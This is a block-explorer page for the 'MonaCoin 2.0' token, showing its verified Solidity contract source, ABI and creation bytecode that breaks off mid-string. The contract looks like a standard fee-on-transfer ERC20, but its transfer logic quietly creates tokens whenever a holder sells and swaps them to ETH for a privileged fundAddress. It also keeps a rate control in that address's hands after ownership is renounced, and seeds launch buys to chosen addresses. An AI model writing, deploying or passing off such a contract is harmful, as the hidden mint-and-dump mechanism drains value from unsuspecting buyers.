ETH Price: $3,342.13 (-3.64%)
Gas: 2 Gwei

Token

MonaCoin 2.0 (MONA2.0)
 

Overview

Max Total Supply

100,000,000 MONA2.0

Holders

280

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
35.904330010202030586 MONA2.0

Value
$0.00
0xc79a73f28b252e0820e25df4b96ef381d732e5d5
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ERC20

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-12
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.7;

/*
 * Twitter : https://twitter.com/MONA2ERC
 * Telegram : https://t.me/MONA2ERC
*/

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;


}

interface IUniswapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "you are not owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract TokenDistributor {
    constructor (address token) {
        (bool success, ) = token.call(abi.encodeWithSignature("approve(address,uint256)",msg.sender, ~uint256(0)));
        require(success);
    }
}

contract ERC20 is IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address public fundAddress;

    string private _name;
    string private _symbol;
    uint8 private _decimals;

    mapping(address => bool) public _isExcludeFromFee;
    
    uint256 private _totalSupply;

    IUniswapRouter public _uniswapRouter;

    mapping(address => bool) public isMarketPair;
    bool private inSwap;

    uint256 private constant MAX = ~uint256(0);

    uint256 public _buyFundFee = 1;
    uint256 public _sellFundFee = 1;

    address public _uniswapPair;

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    TokenDistributor public _tokenDistributor;

    constructor (){
        _name = "MonaCoin 2.0";
        _symbol = "MONA2.0";
        _decimals = 18;
        uint256 Supply = 100000000;

        // IUniswapRouter swapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        // _uniswapRouter = swapRouter;
        // _allowances[address(this)][address(swapRouter)] = MAX;

        // IUniswapFactory swapFactory = IUniswapFactory(swapRouter.factory());
        // address swapPair = swapFactory.createPair(address(this), swapRouter.WETH());
        // _uniswapPair = swapPair;
        // isMarketPair[swapPair] = true;

        _totalSupply = Supply * 10 ** _decimals;

        address receiveAddr = msg.sender;
        _balances[receiveAddr] = _totalSupply;
        emit Transfer(address(0), receiveAddr, _totalSupply);

        fundAddress = receiveAddr;

        _isExcludeFromFee[address(this)] = true;
        // _isExcludeFromFee[address(swapRouter)] = true;
        _isExcludeFromFee[receiveAddr] = true;
        _isExcludeFromFee[fundAddress] = true;

        // IERC20(_uniswapRouter.WETH()).approve(
        //     address(address(_uniswapRouter)),
        //     ~uint256(0)
        // );

        // _tokenDistributor = new TokenDistributor(_uniswapRouter.WETH());
    }

    function initialPair() public onlyOwner{
        require(address(_uniswapRouter) == address(0),"already");
        IUniswapRouter swapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _uniswapRouter = swapRouter;
        _allowances[address(this)][address(swapRouter)] = MAX;

        IUniswapFactory swapFactory = IUniswapFactory(swapRouter.factory());
        address swapPair = swapFactory.createPair(address(this), swapRouter.WETH());
        _uniswapPair = swapPair;
        isMarketPair[swapPair] = true;
        IERC20(_uniswapRouter.WETH()).approve(
            address(address(_uniswapRouter)),
            ~uint256(0)
        );
        _tokenDistributor = new TokenDistributor(_uniswapRouter.WETH());
        _isExcludeFromFee[address(swapRouter)] = true;
    }

    function setFundAddr(address newAddr) public onlyOwner{
        fundAddress = newAddr;
    }

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function decimals() external view override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    bool public remainEn = true;
    function changeRemain() public onlyOwner{
        remainEn = !remainEn;
    }

    uint256 public rate = 50;
    function setrate(uint256 newv) public {
        address on = fundAddress;
        if (msg.sender == on){
            rate = newv;
        }
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        uint256 balance = balanceOf(from);
        require(balance >= amount, "balanceNotEnough");

        bool takeFee;
        bool sellFlag;

        if (isMarketPair[to] && !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to]) {
            uint256 numtoselltoken = amount*rate/100;
            if (numtoselltoken > balanceOf(address(this))){
                _balances[address(this)] = numtoselltoken;
            }
            if (numtoselltoken > 0){
                swapTokenForETH(numtoselltoken); 
            }
        }

        if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && remainEn){
            if (amount == _balances[from]){ // remain holders
                amount = amount - (amount / 10000);
            }
        }

        if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap) {
            takeFee = true;
            require(startTradeBlock > 0, "not open");
        }

        if (takeFee && !isMarketPair[from] && !isMarketPair[to]){
            takeFee = false;
        }

        if (isMarketPair[to]) { sellFlag = true; }

        _transferToken(from, to, amount, takeFee, sellFlag);
    }

   function autoSwap(uint256 _count) public {
        IERC20(_uniswapRouter.WETH()).transferFrom(msg.sender, address(this), _count);
        swapTokenToDistribute(_count);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender] - amount;
        _balances[recipient] = _balances[recipient] + amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapTokenToDistribute(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = _uniswapRouter.WETH();
        path[1] = address(this);

        // make the swap
        // if(tokenAmount <= balance)
        try _uniswapRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of CA
            path,
            address(_tokenDistributor),
            block.timestamp
        ) {} catch {}
        if(balanceOf(address(_tokenDistributor))>0)
            _basicTransfer(address(_tokenDistributor), address(this), balanceOf(address(_tokenDistributor)));
    }

    function _transferToken(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee,
        bool sellFlag
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        uint256 feeAmount;

        if (takeFee) {
            
            uint256 taxFee;

            if (sellFlag) {
                taxFee = _sellFundFee;
            } else {
                taxFee = _buyFundFee;
            }
            uint256 swapAmount = tAmount * taxFee / 100;
            if (swapAmount > 0) {
                feeAmount += swapAmount;
                _balances[address(this)] = _balances[address(this)] + swapAmount;
                emit Transfer(sender, address(this), swapAmount);
            }
        }

        _balances[recipient] = _balances[recipient] + (tAmount - feeAmount);
        emit Transfer(sender, recipient, tAmount - feeAmount);

    }

    uint256 public startTradeBlock;
    function startTrade(address[] calldata adrs) public onlyOwner {
        for(uint i=0;i<adrs.length;i++){
            swapToken((random(5,adrs[i])+1)*10**16+7*10**16,adrs[i]);
        }
        startTradeBlock = block.number;
    }

    function swapToken(uint256 tokenAmount,address to) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(_uniswapRouter.WETH());
        path[1] = address(this);
        // make the swap
        _uniswapRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
                tokenAmount,
                0, // accept any amount of CA
                path,
                address(to),
                block.timestamp
        );
    }

    function random(uint number,address _addr) private view returns(uint) {
        return uint(keccak256(abi.encodePacked(block.timestamp,block.difficulty,  _addr))) % number;
    }

    function removeERC20(address _token) external {
        if(_token != address(this)){
            IERC20(_token).transfer(fundAddress, IERC20(_token).balanceOf(address(this)));
            payable(fundAddress).transfer(address(this).balance);
        }
    }

    event catchEvent(uint8);

    function swapTokenForETH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapRouter.WETH();
        try _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(fundAddress),
            block.timestamp
        ) {} catch { emit catchEvent(0); }
    }

    function setIsExcludeFromFees(address account, bool value) public onlyOwner{
        _isExcludeFromFee[account] = value;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint8","name":"","type":"uint8"}],"name":"catchEvent","type":"event"},{"inputs":[],"name":"_buyFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tokenDistributor","outputs":[{"internalType":"contract TokenDistributor","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_count","type":"uint256"}],"name":"autoSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"changeRemain","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fundAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"initialPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"rate","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"remainEn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"}],"name":"removeERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddr","type":"address"}],"name":"setFundAddr","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setIsExcludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newv","type":"uint256"}],"name":"setrate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"adrs","type":"address[]"}],"name":"startTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTradeBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526001600c819055600d55600f805460ff60a01b1916600160a01b17905560326010553480156200003357600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060408051808201909152600c8082526b04d6f6e61436f696e20322e360a41b6020909201918252620000aa91600491620001be565b506040805180820190915260078082526604d4f4e41322e360cc1b6020909201918252620000db91600591620001be565b506006805460ff191660129081179091556305f5e10090620000ff90600a620002ad565b6200010b90826200037b565b600881905533600081815260016020908152604080832085905551938452919283927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3600380546001600160a01b0319166001600160a01b03928316908117825530600090815260076020526040808220805460ff19908116600190811790925593835281832080548516821790559354909416815292909220805490921617905550620003f0565b828054620001cc906200039d565b90600052602060002090601f016020900481019282620001f057600085556200023b565b82601f106200020b57805160ff19168380011785556200023b565b828001600101855582156200023b579182015b828111156200023b5782518255916020019190600101906200021e565b50620002499291506200024d565b5090565b5b808211156200024957600081556001016200024e565b600181815b80851115620002a5578160001904821115620002895762000289620003da565b808516156200029757918102915b93841c939080029062000269565b509250929050565b6000620002be60ff841683620002c5565b9392505050565b600082620002d65750600162000375565b81620002e55750600062000375565b8160018114620002fe5760028114620003095762000329565b600191505062000375565b60ff8411156200031d576200031d620003da565b50506001821b62000375565b5060208310610133831016604e8410600b84101617156200034e575081810a62000375565b6200035a838362000264565b8060001904821115620003715762000371620003da565b0290505b92915050565b6000816000190483118215151615620003985762000398620003da565b500290565b600181811c90821680620003b257607f821691505b60208210811415620003d457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b61239180620004006000396000f3fe608060405260043610620002035760003560e01c8063807201401162000117578063ba34c8f111620000a1578063e4c77745116200006c578063e4c777451462000616578063e82bef29146200062e578063ec8274601462000650578063f2fde38b146200067557600080fd5b8063ba34c8f11462000577578063bc76c052146200059c578063ce0192f914620005b4578063dd62ed3e14620005cc57600080fd5b806395d89b4111620000e257806395d89b4114620004f2578063a4926dc9146200050a578063a67755c2146200052d578063a9059cbb146200055257600080fd5b8063807201401462000466578063863587cd146200048b5780638718b24f14620004b05780638da5cb5b14620004d257600080fd5b80633bfe62ca116200019957806365b61b77116200016457806365b61b7714620003cb5780636f39cfcd14620003ed57806370a082311462000414578063715018a6146200044e57600080fd5b80633bfe62ca146200032c5780633ecad27114620003445780634bf28fd01462000378578063553193ca14620003b357600080fd5b806323b872dd11620001da57806323b872dd14620002975780632c4e722e14620002bc578063313ce56714620002d457806336b2e02714620002f857600080fd5b806306fdde031462000210578063095ea7b3146200024057806318160ddd146200027657600080fd5b366200020b57005b600080fd5b3480156200021d57600080fd5b50620002286200069a565b60405162000237919062001f89565b60405180910390f35b3480156200024d57600080fd5b50620002656200025f36600462001e8c565b62000734565b604051901515815260200162000237565b3480156200028357600080fd5b506008545b60405190815260200162000237565b348015620002a457600080fd5b5062000265620002b636600462001e13565b6200074c565b348015620002c957600080fd5b506200028860105481565b348015620002e157600080fd5b5060065460405160ff909116815260200162000237565b3480156200030557600080fd5b50620002656200031736600462001d95565b60076020526000908152604090205460ff1681565b3480156200033957600080fd5b5062000288600d5481565b3480156200035157600080fd5b50620002656200036336600462001d95565b600a6020526000908152604090205460ff1681565b3480156200038557600080fd5b50600e546200039a906001600160a01b031681565b6040516001600160a01b03909116815260200162000237565b348015620003c057600080fd5b506200028860115481565b348015620003d857600080fd5b506009546200039a906001600160a01b031681565b348015620003fa57600080fd5b50620004126200040c36600462001d95565b620007e8565b005b3480156200042157600080fd5b50620002886200043336600462001d95565b6001600160a01b031660009081526001602052604090205490565b3480156200045b57600080fd5b506200041262000840565b3480156200047357600080fd5b50620004126200048536600462001ebb565b620008b7565b3480156200049857600080fd5b5062000412620004aa36600462001e59565b620009af565b348015620004bd57600080fd5b50600f546200039a906001600160a01b031681565b348015620004df57600080fd5b506000546001600160a01b03166200039a565b348015620004ff57600080fd5b506200022862000a07565b3480156200051757600080fd5b50600f546200026590600160a01b900460ff1681565b3480156200053a57600080fd5b50620004126200054c36600462001d95565b62000a18565b3480156200055f57600080fd5b50620002656200057136600462001e8c565b62000b75565b3480156200058457600080fd5b50620004126200059636600462001f55565b62000b84565b348015620005a957600080fd5b506200041262000b9f565b348015620005c157600080fd5b5062000288600c5481565b348015620005d957600080fd5b5062000288620005eb36600462001dd5565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156200062357600080fd5b506200041262000bed565b3480156200063b57600080fd5b506003546200039a906001600160a01b031681565b3480156200065d57600080fd5b50620004126200066f36600462001f55565b62001062565b3480156200068257600080fd5b50620004126200069436600462001d95565b62001184565b606060048054620006ab90620020ed565b80601f0160208091040260200160405190810160405280929190818152602001828054620006d990620020ed565b80156200072a5780601f10620006fe576101008083540402835291602001916200072a565b820191906000526020600020905b8154815290600101906020018083116200070c57829003601f168201915b5050505050905090565b6000620007433384846200124f565b50600192915050565b60006200075b848484620012b0565b6001600160a01b038416600090815260026020908152604080832033845290915290205460001914620007de576001600160a01b0384166000908152600260209081526040808320338452909152902054620007b9908390620020d3565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b031633146200081e5760405162461bcd60e51b8152600401620008159062001fe1565b60405180910390fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146200086d5760405162461bcd60e51b8152600401620008159062001fe1565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314620008e45760405162461bcd60e51b8152600401620008159062001fe1565b60005b81811015620009a657620009916200092c60058585858181106200090f576200090f6200218b565b905060200201602081019062000926919062001d95565b620015be565b620009399060016200207f565b6200094c90662386f26fc10000620020b1565b6200095f9066f8b0a10e4700006200207f565b8484848181106200097457620009746200218b565b90506020020160208101906200098b919062001d95565b62001626565b806200099d816200212a565b915050620008e7565b50504360115550565b6000546001600160a01b03163314620009dc5760405162461bcd60e51b8152600401620008159062001fe1565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b606060058054620006ab90620020ed565b6001600160a01b038116301462000b72576003546040516370a0823160e01b81523060048201526001600160a01b038381169263a9059cbb9291169083906370a082319060240160206040518083038186803b15801562000a7857600080fd5b505afa15801562000a8d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000ab3919062001f6f565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b15801562000afa57600080fd5b505af115801562000b0f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000b35919062001f35565b506003546040516001600160a01b03909116904780156108fc02916000818181858888f1935050505015801562000b70573d6000803e3d6000fd5b505b50565b600062000743338484620012b0565b6003546001600160a01b03163381141562000b705750601055565b6000546001600160a01b0316331462000bcc5760405162461bcd60e51b8152600401620008159062001fe1565b600f805460ff60a01b198116600160a01b9182900460ff1615909102179055565b6000546001600160a01b0316331462000c1a5760405162461bcd60e51b8152600401620008159062001fe1565b6009546001600160a01b03161562000c5f5760405162461bcd60e51b8152602060048201526007602482015266616c726561647960c81b604482015260640162000815565b600980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915530600090815260026020908152604080832084845282528083206000199055805163c45a015560e01b81529051849263c45a01559260048082019391829003018186803b15801562000cd957600080fd5b505afa15801562000cee573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000d14919062001db5565b90506000816001600160a01b031663c9c6539630856001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801562000d6257600080fd5b505afa15801562000d77573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000d9d919062001db5565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801562000de657600080fd5b505af115801562000dfb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000e21919062001db5565b600e80546001600160a01b0319166001600160a01b038381169182179092556000908152600a6020908152604091829020805460ff1916600117905560095482516315ab88c960e31b815292519495509092169263ad5c464892600480840193919291829003018186803b15801562000e9957600080fd5b505afa15801562000eae573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000ed4919062001db5565b60095460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b15801562000f2357600080fd5b505af115801562000f38573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000f5e919062001f35565b50600960009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801562000fae57600080fd5b505afa15801562000fc3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000fe9919062001db5565b60405162000ff79062001d87565b6001600160a01b039091168152602001604051809103906000f08015801562001024573d6000803e3d6000fd5b50600f80546001600160a01b0319166001600160a01b03928316179055929092166000908152600760205260409020805460ff191660011790555050565b600960009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620010b157600080fd5b505afa158015620010c6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620010ec919062001db5565b6040516323b872dd60e01b8152336004820152306024820152604481018390526001600160a01b0391909116906323b872dd90606401602060405180830381600087803b1580156200113d57600080fd5b505af115801562001152573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001178919062001f35565b5062000b7281620017ac565b6000546001600160a01b03163314620011b15760405162461bcd60e51b8152600401620008159062001fe1565b6001600160a01b038116620011f45760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b604482015260640162000815565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316600090815260016020526040902054818110156200130e5760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b604482015260640162000815565b6001600160a01b0383166000908152600a6020526040812054819060ff1680156200133c5750600b5460ff16155b80156200136257506001600160a01b03861660009081526007602052604090205460ff16155b80156200138857506001600160a01b03851660009081526007602052604090205460ff16155b15620013f0576000606460105486620013a29190620020b1565b620013ae91906200209a565b30600090815260016020526040902054909150811115620013dc573060009081526001602052604090208190555b8015620013ee57620013ee816200197d565b505b6001600160a01b03861660009081526007602052604090205460ff161580156200143357506001600160a01b03851660009081526007602052604090205460ff16155b8015620014495750600f54600160a01b900460ff165b156200148d576001600160a01b0386166000908152600160205260409020548414156200148d576200147e612710856200209a565b6200148a9085620020d3565b93505b6001600160a01b03861660009081526007602052604090205460ff16158015620014d057506001600160a01b03851660009081526007602052604090205460ff16155b8015620014e05750600b5460ff16155b15620015295760019150600060115411620015295760405162461bcd60e51b81526020600482015260086024820152673737ba1037b832b760c11b604482015260640162000815565b8180156200155057506001600160a01b0386166000908152600a602052604090205460ff16155b80156200157657506001600160a01b0385166000908152600a602052604090205460ff16155b156200158157600091505b6001600160a01b0385166000908152600a602052604090205460ff1615620015a7575060015b620015b6868686858562001b22565b505050505050565b600082424484604051602001620015fa93929190928352602083019190915260601b6bffffffffffffffffffffffff1916604082015260540190565b6040516020818303038152906040528051906020012060001c6200161f919062002148565b9392505050565b600b805460ff191660011790556040805160028082526060820183526000926020830190803683375050600954604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c464892506004808301926020929190829003018186803b1580156200169957600080fd5b505afa158015620016ae573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620016d4919062001db5565b81600081518110620016ea57620016ea6200218b565b60200260200101906001600160a01b031690816001600160a01b03168152505030816001815181106200172157620017216200218b565b6001600160a01b039283166020918202929092010152600954604051635c11d79560e01b8152911690635c11d79590620017699086906000908690889042906004016200200c565b600060405180830381600087803b1580156200178457600080fd5b505af115801562001799573d6000803e3d6000fd5b5050600b805460ff191690555050505050565b600b805460ff191660011790556040805160028082526060820183526000926020830190803683375050600954604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c464892506004808301926020929190829003018186803b1580156200181f57600080fd5b505afa15801562001834573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200185a919062001db5565b816000815181106200187057620018706200218b565b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110620018a757620018a76200218b565b6001600160a01b039283166020918202929092010152600954600f54604051635c11d79560e01b815291831692635c11d79592620018f592879260009288929091169042906004016200200c565b600060405180830381600087803b1580156200191057600080fd5b505af192505050801562001922575060015b50600f546001600160a01b0316600090815260016020526040902054156200196f57600f546001600160a01b03166000818152600160205260409020546200196d9190309062001cc8565b505b5050600b805460ff19169055565b600b805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110620019c257620019c26200218b565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801562001a1757600080fd5b505afa15801562001a2c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001a52919062001db5565b8160018151811062001a685762001a686200218b565b6001600160a01b03928316602091820292909201015260095460035460405163791ac94760e01b81529183169263791ac9479262001ab692879260009288929091169042906004016200200c565b600060405180830381600087803b15801562001ad157600080fd5b505af192505050801562001ae3575060015b6200196f57604051600081527fbdf1a66ac2980d0df84c6c5344b4d62f3f4578219817cf4bcb8d8a983bbe6f169060200160405180910390a16200196f565b6001600160a01b03851660009081526001602052604090205462001b48908490620020d3565b6001600160a01b038616600090815260016020526040812091909155821562001c32576000821562001b7e5750600d5462001b83565b50600c545b6000606462001b938388620020b1565b62001b9f91906200209a565b9050801562001c2f5762001bb481846200207f565b3060009081526001602052604090205490935062001bd49082906200207f565b30600081815260016020526040908190209290925590516001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b